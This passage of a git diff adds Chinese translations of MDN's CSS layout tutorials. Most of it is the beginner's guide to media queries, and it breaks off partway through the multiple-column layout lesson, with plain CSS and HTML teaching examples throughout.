200px; + }</pre> +</div> + +<p>{{ EmbedLiveSample('Multicol_1', '100%', 200) }}</p> + +<h2 id="总结">总结</h2> + +<p>本文提供了关于您应该了解的所有布局技术的简要概述。阅读更多关于每一项技术的信息!</p> + +<p>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</p> diff --git a/files/zh-cn/learn/css/css_layout/media_queries/index.html b/files/zh-cn/learn/css/css_layout/media_queries/index.html new file mode 100644 index 0000000000..06f7fb7d51 --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/media_queries/index.html @@ -0,0 +1,425 @@ +--- +title: 媒体查询入门指南 +slug: Learn/CSS/CSS_layout/Media_queries +translation_of: Learn/CSS/CSS_layout/Media_queries +--- +<p>{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}</p> + +<p><strong>CSS媒体查询</strong>为你提供了一种应用CSS的方法,仅在浏览器和设备的环境与你指定的规则相匹配的时候CSS才会真的被应用,例如“视口宽于480像素”的时候。媒体查询是响应式Web设计的关键部分,因为它允许你按照视口的尺寸创建不同的布局,不过它也可以用来探测和你的站点运行的环境相关联的其它条件,比如用户是在使用触摸屏还是鼠标。在本节课,你将会先学习到媒体查询的语法,然后继续在一个被安排好的示例中使用它,这个示例还会告诉你一个简单的设计是可以怎么被弄成响应式的。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习前提:</th> + <td>HTML基础知识(学习<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>),对CSS工作方式的大致了解(学习<a href="/en-US/docs/Learn/CSS/First_steps">CSS first steps</a>和<a href="/en-US/docs/Learn/CSS/Building_blocks">CSS building blocks</a>)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解如何使用媒体查询和用它建立响应式设计的最常见方法。</td> + </tr> + </tbody> +</table> + +<h2 id="媒体查询基础">媒体查询基础</h2> + +<p>最简单的媒体查询语法看起来是像这样的:</p> + +<pre class="brush: css notranslate">@media <em>media-type</em> and (<em>media-feature-rule</em>) { + /* CSS rules go here */ +}</pre> + +<p>它由以下部分组成:</p> + +<ul> + <li>一个媒体类型,告诉浏览器这段代码是用在什么类型的媒体上的(例如印刷品或者屏幕);</li> + <li>一个媒体表达式,是一个被包含的CSS生效所需的规则或者测试;</li> + <li>一组CSS规则,会在测试通过且媒体类型正确的时候应用。</li> +</ul> + +<h3 id="媒体类型">媒体类型</h3> + +<p>你可以指定的媒体类型为:</p> + +<ul> + <li><code>all</code></li> + <li><code>print</code></li> + <li><code>screen</code></li> + <li><code>speech</code></li> +</ul> + +<p>下面的媒体查询将会在页面被打印的时候把body设定为只有12pt大小。当页面在浏览器中载入的时候,它将不会生效。</p> + +<pre class="brush: css notranslate"><code>@media print { + body { + font-size: 12pt; + } +}</code></pre> + +<div class="blockIndicator note"> +<p><strong>备注:</strong>这里的媒体类型是和所谓的{{glossary("MIME type")}}不同的东西。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>备注:</strong> 在第三级媒体查询规范中,定义了其他一些媒体类型,它们已经不被建议使用,而且应该被避免使用。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>备注:</strong>媒体类型是可选的,如果你没有在媒体查询中指示一个媒体类型的话,那么媒体查询默认会设为用于全部媒体类型。</p> +</div> + +<h3 id="媒体特征规则">媒体特征规则</h3> + +<p>在指定了类型以后,你可以用一条规则指向一种媒体特征。</p> + +<h4 id="宽和高">宽和高</h4> + +<p>为了建立响应式设计(已经广受浏览器支持),我们一般最常探测的特征是视口宽度,而且我们可以使用<code>min-width</code>、<code>max-width</code>和<code>width</code>媒体特征,在视口宽度大于或者小于某个大小——或者是恰好处于某个大小——的时候,应用CSS。</p> + +<p>这些特征是用来创建响应不同屏幕大小的布局的。例如,要想在视口正好是600像素的时候,让body的文本变为红色,你可能会使用下面的媒体查询。</p> + +<pre class="brush: css notranslate"><code>@media screen and (width: 600px) { + body { + color: red; + } +}</code></pre> + +<p>在浏览器中<a href="https://mdn.github.io/css-examples/learn/media-queries/width.html">打开这个示例</a>,或者<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/width.html">查看源代码</a>。</p> + +<p><code>width</code>(和<code>height</code>)媒体特征可以以数值范围使用,于是就有了<code>min-</code>或者<code>max-</code>的前缀,指示所给的值是最小值还是最大值。例如,要让颜色在视口窄于400像素的时候变成蓝色的话,可以用<code>max-width</code>:</p> + +<pre class="brush: css notranslate"><code>@media screen and (max-width: 400px) { + body { + color: blue; + } +}</code></pre> + +<p>在浏览器中<a href="https://mdn.github.io/css-examples/learn/media-queries/max-width.html">打开示例</a>,或者<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/max-width.html">查看源代码</a>。</p> + +<p>实践中,使用最小值和最大值对响应式设计有很多的用处,所以你会很少见到<code>width</code>或<code>height</code> 单独使用的情况。</p> + +<p>还有许多其他媒体特征可以供你测试,尽管于4级和5级媒体查询规范中引入了一些新特征,它们受浏览器支持仍然有限。在MDN上,每个特征都已经同浏览器支持信息一同记载下来,你可以在<a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries#Media_features">使用媒体查询:媒体特征</a>中找到一张完整的列表。</p> + +<h4 id="朝向">朝向</h4> + +<p>一个受到良好支持的媒体特征是<code>orientation</code>,我们可以用它测得竖放(portrait mode)和横放(landscape mode)模式。要在设备处于横向的时候改变body文本颜色的话,可使用下面的媒体查询。</p> + +<pre class="brush: css notranslate"><code>@media (orientation: landscape) { + body { + color: rebeccapurple; + } +}</code></pre> + +<p>在浏览器中<a href="https://mdn.github.io/css-examples/learn/media-queries/orientation.html">打开此示例</a>,或者<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/orientation.html">查看源代码</a>。</p> + +<p>标准的桌面视图是横放朝向的,在这种朝向上能够表现良好的设计,在处于竖放模式的手机或平板电脑上可能不会表现得这么好。对朝向的测试可以帮你建立一个为竖放设备优化的布局。</p> + +<h4 id="使用指点设备">使用指点设备</h4> + +<p>作为四级规范的一部分,<code>hover</code>媒体特征被引入了进来。这种特征意味着你可以测试用户是否能在一个元素上悬浮,这也基本就是说他们正在使用某种指点设备,因为触摸屏和键盘导航是没法实现悬浮的。</p> + +<pre class="brush: css notranslate"><code>@media (hover: hover) { + body { + color: rebeccapurple; + } +}</code></pre> + +<p>在浏览器中<a href="https://mdn.github.io/css-examples/learn/media-queries/hover.html">打开此示例</a>,或者<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/hover.html">查看源代码</a>。</p> + +<p>如果我们知道用户不能悬浮的话,我们可以默认显示一些交互功能。对于能够悬浮的用户,我们可以选择在悬浮在链接上的时候,让这些功能可用。</p> + +<p>还是在四级规范中,出现了<code>pointer</code>媒体特征。它可取三个值:<code>none</code>、<code>fine</code>和<code>coarse</code>。<code>fine</code>指针是类似于鼠标或者触控板的东西,它让用户可以精确指向一片小区域。<code>coarse</code>指针是你在触摸屏上的手指。<code>none</code>值意味着,用户没有指点设备,也许是他们正只使用键盘导航,或者是语音命令。</p> + +<p>使用<code>pointer</code>可以在用户使用屏幕时进行交互时,帮你更好地设计响应这种交互的界面。例如,如果你知道用户正在用触摸屏设备交互的时候,你可以建立更大的响应区域。</p> + +<h2 id="更复杂的媒体查询">更复杂的媒体查询</h2> + +<p>有了所有不同的可用的媒体查询,你可能想要把它们混合起来,或者建立查询列表——其中的任何一个都可以匹配生效。</p> + +<h3 id="媒体查询中的“与”逻辑">媒体查询中的“与”逻辑</h3> + +<p>为了混合媒体特征,你可以以与在上面使用<code>and</code>很相同的方式,用<code>and</code>来混合媒体类型和特征。例如,我们可能会想要测得<code>min-width</code>和<code>orientation</code>,而body的文字只会在视口至少为400像素宽,且设备横放时变为蓝色。</p> + +<pre class="brush: css notranslate"><code>@media screen and (min-width: 400px) and (orientation: landscape) { + body { + color: blue; + } +}</code></pre> + +<p>在浏览器中<a href="https://mdn.github.io/css-examples/learn/media-queries/and.html">打开此示例</a>,或者<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/and.html">查看源代码</a>。</p> + +<h3 id="媒体查询中的“或”逻辑">媒体查询中的“或”逻辑</h3> + +<p>如果你有一组查询,且要其中的任何一个都可以匹配的话,那么你可以使用逗号分开这些查询。在下面的示例中,文本会在视口至少为400像素宽的时候<strong>或者</strong>设备处于横放状态的时候变为蓝色。如果其中的任何一项成立,那么查询就匹配上了。</p> + +<pre class="brush: css notranslate"><code>@media screen and (min-width: 400px), screen and (orientation: landscape) { + body { + color: blue; + } +}</code></pre> + +<p>在浏览器中<a href="https://mdn.github.io/css-examples/learn/media-queries/or.html">打开此示例</a>,或者<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/or.html">查看源代码</a>。</p> + +<h3 id="媒体查询中的“非”逻辑">媒体查询中的“非”逻辑</h3> + +<p>你可以用<code>not</code>操作符让整个媒体查询失效。这就直接反转了整个媒体查询的含义。因而在下面的例子中,文本只会在朝向为竖着的时候变成蓝色。</p> + +<pre class="brush: css notranslate"><code>@media not all and (orientation: landscape) { + body { + color: blue; + } +}</code></pre> + +<p>在浏览器中<a href="https://mdn.github.io/css-examples/learn/media-queries/not.html">打开此示例</a>,或者<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/not.html">查看源代码</a>。</p> + +<h2 id="怎么选择断点">怎么选择断点</h2> + +<p>响应式设计的早期,许多设计者会尝试指向非常特定的屏幕尺寸。人们公布了流行的手机和平板的屏幕尺寸列表,以让设计者创建可以整齐地放在那些视口里面的设计。</p> + +<p>现在有多得多的设备,以及多种多样的尺寸,让这种事变得不再可行。这也就是说,将所有的设计用在特定的尺寸上以外,一个更好的方法是在内容某种程度上开始变得混乱的时候,改变尺寸的设计。也许线太长了,或者盒子状的外侧栏开始挤在一起而难以阅读。那就是你想要使用媒体查询,将设计变得对剩余可用空间更加友好的时候。这种方式意味着,它无关使用的设备的确切大小,每个范围都被照顾到了。引入媒体查询的点就叫做<strong>断点</strong>。</p> + +<p>火狐开发者工具中的<a href="/en-US/docs/Tools/Responsive_Design_Mode">响应式设计模式</a>能很好地帮助弄清楚断点应该设置在哪里。你能容易就能让视口变大和变小,然后看下可以在哪里加入媒体查询、调整设计,从而改善内容。</p> + +<p><img alt="A screenshot of a layout in a mobile view in Firefox DevTools." src="https://mdn.mozillademos.org/files/16867/rwd-mode.png" style="height: 917px; width: 1443px;"></p> + +<h2 id="主动学习:移动优先的响应式设计">主动学习:移动优先的响应式设计</h2> + +<p>泛泛地说,你可以采用两种方式实现响应式设计。你可以从桌面或者最宽的视图开始,然后随着视口变得越来越小,加上断点,把物件挪开;你也可以从最小的视图开始,随着视口变得越来越大,增添布局内容。第二种方式被叫做<strong>移动优先</strong>的响应式设计,很多时候是最值得仿效的做法。</p> + +<p>用在最小的那个设备上的视图很多时候都是一个简单的单列内容,很像正常文本流显示的那样。这意味着,你很可能不需要为小设备做多少布局设计,合适地安排下你的源代码,默认情况下你就可以得到可读的布局。</p> + +<p>下面的教程会领你用一个非常简单的布局熟悉这种方式。在生产站点上,你的媒体查询中可能会有更多的东西需要调整,但是它们的方法是完全一样的。</p> + +<h3 id="教程:一个简单的移动优先布局">教程:一个简单的移动优先布局</h3> + +<p>我们的起始点是一个HTML文档,上面应用了一些CSS,为布局的各部分加入了背景颜色。</p> + +<pre class="brush: css notranslate"><code>* { + box-sizing: border-box; +} + +body { + width: 90%; + margin: 2em auto; + font: 1em/1.3 Arial, Helvetica, sans-serif; +} + +a:link, +a:visited { + color: #333; +} + +nav ul, +aside ul { + list-style: none; + padding: 0; +} + +nav a:link, +nav a:visited { + background-color: rgba(207, 232, 220, 0.2); + border: 2px solid rgb(79, 185, 227); + text-decoration: none; + display: block; + padding: 10px; + color: #333; + font-weight: bold; +} + +nav a:hover { + background-color: rgba(207, 232, 220, 0.7); +} + +.related { + background-color: rgba(79, 185, 227, 0.3); + border: 1px solid rgb(79, 185, 227); + padding: 10px; +} + +.sidebar { + background-color: rgba(207, 232, 220, 0.5); + padding: 10px; +} + +article { + margin-bottom: 1em; +} +</code></pre> + +<p>我们没有改变过任何布局,但是文件的源代码是以让内容可读的方式排列的。这个开头是重要的,也是能够确保内容在由屏幕阅读器读出来的时候,让其可以理解的一步。</p> + +<pre class="brush: html notranslate"><code><body> + <div class="wrapper"> + <header> + <nav> + <ul> + <li><a href="">About</a></li> + <li><a href="">Contact</a></li> + <li><a href="">Meet the team</a></li> + <li><a href="">Blog</a></li> + </ul> + </nav> + </header> + <main> + <article> + <div class="content"> + <h1>Veggies!</h1> + <p> + ... + </p> + </div> + <aside class="related"> + <p> + ... + </p> + </aside> + </article> + + <aside class="sidebar"> + <h2>External vegetable-based links</h2> + <ul> + <li> + ... + </li> + </ul> + </aside> + </main> + + <footer><p>&copy;2019</p></footer> + </div> + </body> +</code></pre> + +<p>这个简单的布局在移动端上也能表现得很好。如果我们在开发者工具中的响应式设计模式里面查看这个布局的话,我们可以看到,它作为一个直截了当的站点移动版布局来说,表现得相当优秀。</p> + +<p>在浏览器里<a href="https://mdn.github.io/css-examples/learn/media-queries/step1.html">打开步骤一</a>,或者<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step1.html">查看源代码</a>。</p> + +<p><strong>如果你想要在我们继续的时候,按步骤来并尝试这个示例,在你的电脑上建立一个<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step1.html">step1.html</a>的本地副本。</strong></p> + +<p>从这里开始,脱拽响应式设计的窗口,让它变得变得更宽,直到你看到一行变得非常长,有足够空间把导航栏放在一个水平行里面。这是我们加入第一个媒体查询的地方。我们将会使用em,因为这意味着,如果用户已经增加了文本的大小,断点会在行差不多也是这样长,但是视口更宽的时候产生;而文本更小的时候,视口也会更窄。</p> + +<p><strong>将下面的代码加到你的step1.html的CSS底部。</strong></p> + +<pre class="brush: css notranslate"><code>@media screen and (min-width: 40em) { + article { + display: grid; + grid-template-columns: 3fr 1fr; + column-gap: 20px; + } + + nav ul { + display: flex; + } + + nav li { + flex: 1; + } +} +</code></pre> + +<p>这个CSS让我们的文章里面有了个两列布局,两栏分别是文章的内容和在aside元素中相关的信息。我们也已经用弹性盒把导航栏放在了一行里面。</p> + +<p>在浏览器中<a href="https://mdn.github.io/css-examples/learn/media-queries/step2.html">打开步骤二</a>,或者<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step2.html">查看源代码</a>。</p> + +<p>让我们继续增加宽度,直到我们觉得这里有了足够多的空间来放置侧栏,再形成一列。在媒体查询中,我们会让main元素变成两栏网格。我们之后需要移除文章上的{{cssxref("margin-bottom")}},让两个侧栏和彼此对齐,然后我们将会往页脚的顶部加上一个{{cssxref("border")}} 。一般来说,为了让设计看起来好看,这些小调整是你将会在每一个断点都需要做的。</p> + +<p><strong>再往你的step1.html的CSS的底部加入下面的代码:</strong></p> + +<pre class="brush: css notranslate"><code>@media screen and (min-width: 70em) { + main { + display: grid; + grid-template-columns: 3fr 1fr; + column-gap: 20px; + } + + article { + margin-bottom: 0; + } + + footer { + border-top: 1px solid #ccc; + margin-top: 2em; + } +}</code> +</pre> + +<p>在浏览器中<a href="https://mdn.github.io/css-examples/learn/media-queries/step3.html">打开步骤三</a>,或者<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/step3.html">查看源代码</a>。</p> + +<p>如果你在不同的宽度下,看下最后的示例,你会看到设计是如何响应的,在可用的宽度下是如何表现为单栏、双栏或者三栏的。这是一个移动优先的响应式设计的非常简单的示例。</p> + +<h2 id="你真的需要媒体查询吗?">你真的需要媒体查询吗?</h2> + +<p>弹性盒、网格和多栏布局都给了你建立可伸缩的甚至是响应式组件的方式,而不需要媒体查询。这些布局方式能否在不加入媒体查询的时候实现你想要的设计,总是值得考虑的一件事。例如,你可能想要一组卡片,至少为二百像素宽,并在主文章里尽可能多地放下这些二百像素的卡片。这可以用网格布局实现,而完全不使用媒体查询。</p> + +<p>这可以由以下代码实现:</p> + +<pre class="brush: html notranslate"><code><ul class="grid"> + <li> + <h2>Card 1</h2> + <p>...</p> + </li> + <li> + <h2>Card 2</h2> + <p>...</p> + </li> + <li> + <h2>Card 3</h2> + <p>...</p> + </li> + <li> + <h2>Card 4</h2> + <p>...</p> + </li> + <li> + <h2>Card 5</h2> + <p>...</p> + </li> +</ul></code></pre> + +<pre class="brush: css notranslate"><code>.grid { + list-style: none; + margin: 0; + padding: 0; + display: grid; + gap: 20px; + grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); +} + +.grid li { + border: 1px solid #666; + padding: 10px; +}</code></pre> + +<p>在浏览器中<a href="https://mdn.github.io/css-examples/learn/media-queries/grid.html">打开网格布局示例</a>,或者<a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/grid.html">查看源代码</a>。</p> + +<p>在你的浏览器里打开这个示例,让屏幕变宽变窄,看一看列轨数目的变化。这个方法里面的好事是,网格不是靠视口宽度判断的,而是可以容纳组件的宽度。对媒体查询这章节的建议就是,你可能根本不需要它!但是,实践中你会发现,由媒体查询改进的现代布局方式的恰当使用,将会产生最佳效果。</p> + +<h2 id="小试牛刀!">小试牛刀!</h2> + +<p>你已经到了此文的结尾,但是你能记住最重要的信息吗?你可以在继续之前,找一个测试来验证下你是否已经掌握了这些信息。见<a href="/en-US/docs/Learn/CSS/CSS_layout/rwd_skills">小试牛刀:响应式Web设计</a>。</p> + +<h2 id="小结">小结</h2> + +<p>本节课中,你已经学到了媒体查询的知识,也发现了如何在实践中使用它们,来建立一个移动优先的响应式设计。</p> + +<p>你可以使用我们已经建立的起始点,试出更多的媒体查询,例如,也许你能使用<code>pointer</code>媒体特征,在你探测到访客有一个模糊指针的时候,改变导航栏的大小。</p> + +<p>你还能通过加入不同的组件进行实验,看下加入媒体查询,或者使用类似弹性盒或者网格的布局方式,哪个是让组件可响应的最佳途径。经常是没有什么对错的,你应该实验下,看看哪个对你的设计和内容效果最好。</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ul> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal flow</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column layout</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design">Responsive design</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Media_queries">Beginner's guide to media queries</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy layout methods</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental layout comprehension assessment</a></li> +</ul> diff --git a/files/zh-cn/learn/css/css_layout/multiple-column_layout/index.html b/files/zh-cn/learn/css/css_layout/multiple-column_layout/index.html new file mode 100644 index 0000000000..c7a138adb3 --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/multiple-column_layout/index.html @@ -0,0 +1,413 @@ +--- +title: 多列布局 +slug: Learn/CSS/CSS_layout/Multiple-column_Layout +tags: + - 多列布局 + - 学习 + - 布局 + - 教程 + - 新手 + - 自动分列 +translation_of: Learn/CSS/CSS_layout/Multiple-column_Layout +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", " Learn/CSS/CSS_layout/Responsive_Design ", "Learn/CSS/CSS_layout")}}</div> + +<p class="summary">多列布局声明提供了一种多列组织内容的方式,正如你在一些报纸中看到的那样。 这篇文章介绍怎么使用这一特性。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>HTML 基础 (study <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), 和了解CSS如何工作的(study <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>掌握在web页面中创建多列布局的方法?,正如你在一些报纸中看到的那样。 </td> + </tr> + </tbody> +</table> + +<h2 id="一个简单的例子">一个简单的例子</h2> + +<p>我们将学习怎么使用多列布局,通常也简写为 <em>multicol</em>。你可以从这里开始 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/multicol/0-starting-point.html">downloading the multicol starting point file</a> 然后在合适的地方加入CSS。在这一小节的结尾,你可以看到最终代码的效果。</p> + +<p>我们从一些很简单的HTML开始; 用带有类 <code>container</code> 的简单包装,里面是标题和一些段落。</p> + +<p>带有 <code>.container</code> 的 {{htmlelement("div")}} 将成为我们 multicol 的容器。 通过这两个属性开启 multicol {{cssxref("column-count")}} 或者 {{cssxref("column-width")}}。 <code>column-count</code> 将创建指定数量的列,所以如果你把下面的CSS加到样式表里让后重载入页面,你将得到3列:</p> + +<pre class="brush: css">.container { + column-count: 3; +} +</pre> + +<p>创建的这些列具有弹性的宽度 — 由浏览器计算出每一列分配多少空间。</p> + +<div id="Multicol_1"> +<div class="hidden"> +<h6 id="column-count_example">column-count example</h6> + +<pre class="brush: css">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} + </pre> +</div> + +<pre class="brush: html"><div class="container"> + <h1>Simple multicol example</h1> + + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. + Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. + Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse + ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit + quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique + elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit + cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis + dis parturient montes, nascetur ridiculus mus.</p> +</div> +</pre> + +<pre class="brush: css">.container { + column-count: 3; +} +</pre> +</div> + +<p>{{ EmbedLiveSample('Multicol_1', '100%', 400) }}</p> + +<p>像下面这样使用 <code>column-width</code> 更改CSS:</p> + +<pre class="brush: css">.container { + column-width: 200px; +} +</pre> + +<p>浏览器将按照你指定的宽度尽可能多的创建列;任何剩余的空间之后会被现有的列平分。 这意味着你可能无法期望得到你指定宽度,除非容器的宽度刚好可以被你指定的宽度除尽。</p> + +<div id="Multicol_2"> +<div class="hidden"> +<h6 id="column-width_example">column-width example</h6> + +<pre class="brush: css">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +}</pre> + +<pre class="brush: html"><div class="container"> + <h1>Simple multicol example</h1> + + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. + Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. + Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse + ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit + quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique + elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit + cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis + dis parturient montes, nascetur ridiculus mus.</p> +</div></pre> +</div> + +<pre class="brush: css">.container { + column-width: 200px; +} +</pre> +</div> + +<p>{{ EmbedLiveSample('Multicol_2', '100%', 400) }}</p> + +<h2 id="给多列增加样式">给多列增加样式</h2> + +<p>Multicol 创建的列无法单独的设定样式。 不存在让单独某一列比其他列更大的方法,同样无法为某一特定的列设置独特的背景色、文本颜色。你有两个机会改变列的样式:</p> + +<ul> + <li>使用 {{cssxref("column-gap")}} 改变列间间隙。</li> + <li>用 {{cssxref("column-rule")}} 在列间加入一条分割线。</li> +</ul> + +<p>以上面的代码为例,增加 <code>column-gap</code> 属性可以更改列间间隙:</p> + +<pre class="brush: css">.container { + column-width: 200px; + column-gap: 20px; +}</pre> + +<p>你可以尝试不同的值 — 该属性接受任何长度单位。现在再加入 <code>column-rule</code>。和你之前遇到的 {{cssxref("border")}} 属性类似, <code>column-rule</code> 是 {{cssxref("column-rule-color")}} 和 {{cssxref("column-rule-style")}}的缩写,接受同 <code>border</code> 一样的单位。</p> + +<pre class="brush: css">.container { + column-count: 3; + column-gap: 20px; + column-rule: 4px dotted rgb(79, 185, 227); +}</pre> + +<p>尝试设置不同的样式和颜色。</p> + +<div id="Multicol_3"> +<div class="hidden"> +<h6 id="Styling_the_columns">Styling the columns</h6> + +<pre class="brush: css">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} +.container { + column-count: 3; + column-gap: 20px; + column-rule: 4px dotted rgb(79, 185, 227); +}</pre> + +<pre class="brush: html"><div class="container"> + <h1>Simple multicol example</h1> + + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. + Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. + Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse + ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit + quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique + elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit + cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis + dis parturient montes, nascetur ridiculus mus.</p> +</div></pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Multicol_3', '100%', 400) }}</p> + +<p>值得一提的是这条分割线本身并不占用宽度。它置于用 <code>column-gap</code> 创建的间隙内。如果需要更多空间,你需要增加 <code>column-gap</code> 的值。</p> + +<h2 id="列与内容折断">列与内容折断</h2> + +<p>多列布局的内容被拆成碎块。 和多页媒体上的内容表现大致一样 — 比如打印网页的时候。 当你把内容放入多列布局容器内,内容被拆成碎块放进列中,内容折断(译者注:比如断词断句)使得这一效果可以实现。</p> + +<p>有时,这种折断内容会降低阅读体验。在下面的举例中,我用 multicol 对一系列盒子布局,每一小块里有小标题和和一些文字。标题和文字可能被折断点拆开,从而降低阅读体验。</p> + +<div id="Multicol_4"> +<div class="hidden"> +<h6 id="Cards_example">Cards example</h6> + +<pre class="brush: css">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} </pre> +</div> + +<pre class="brush: html"><div class="container"> + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + 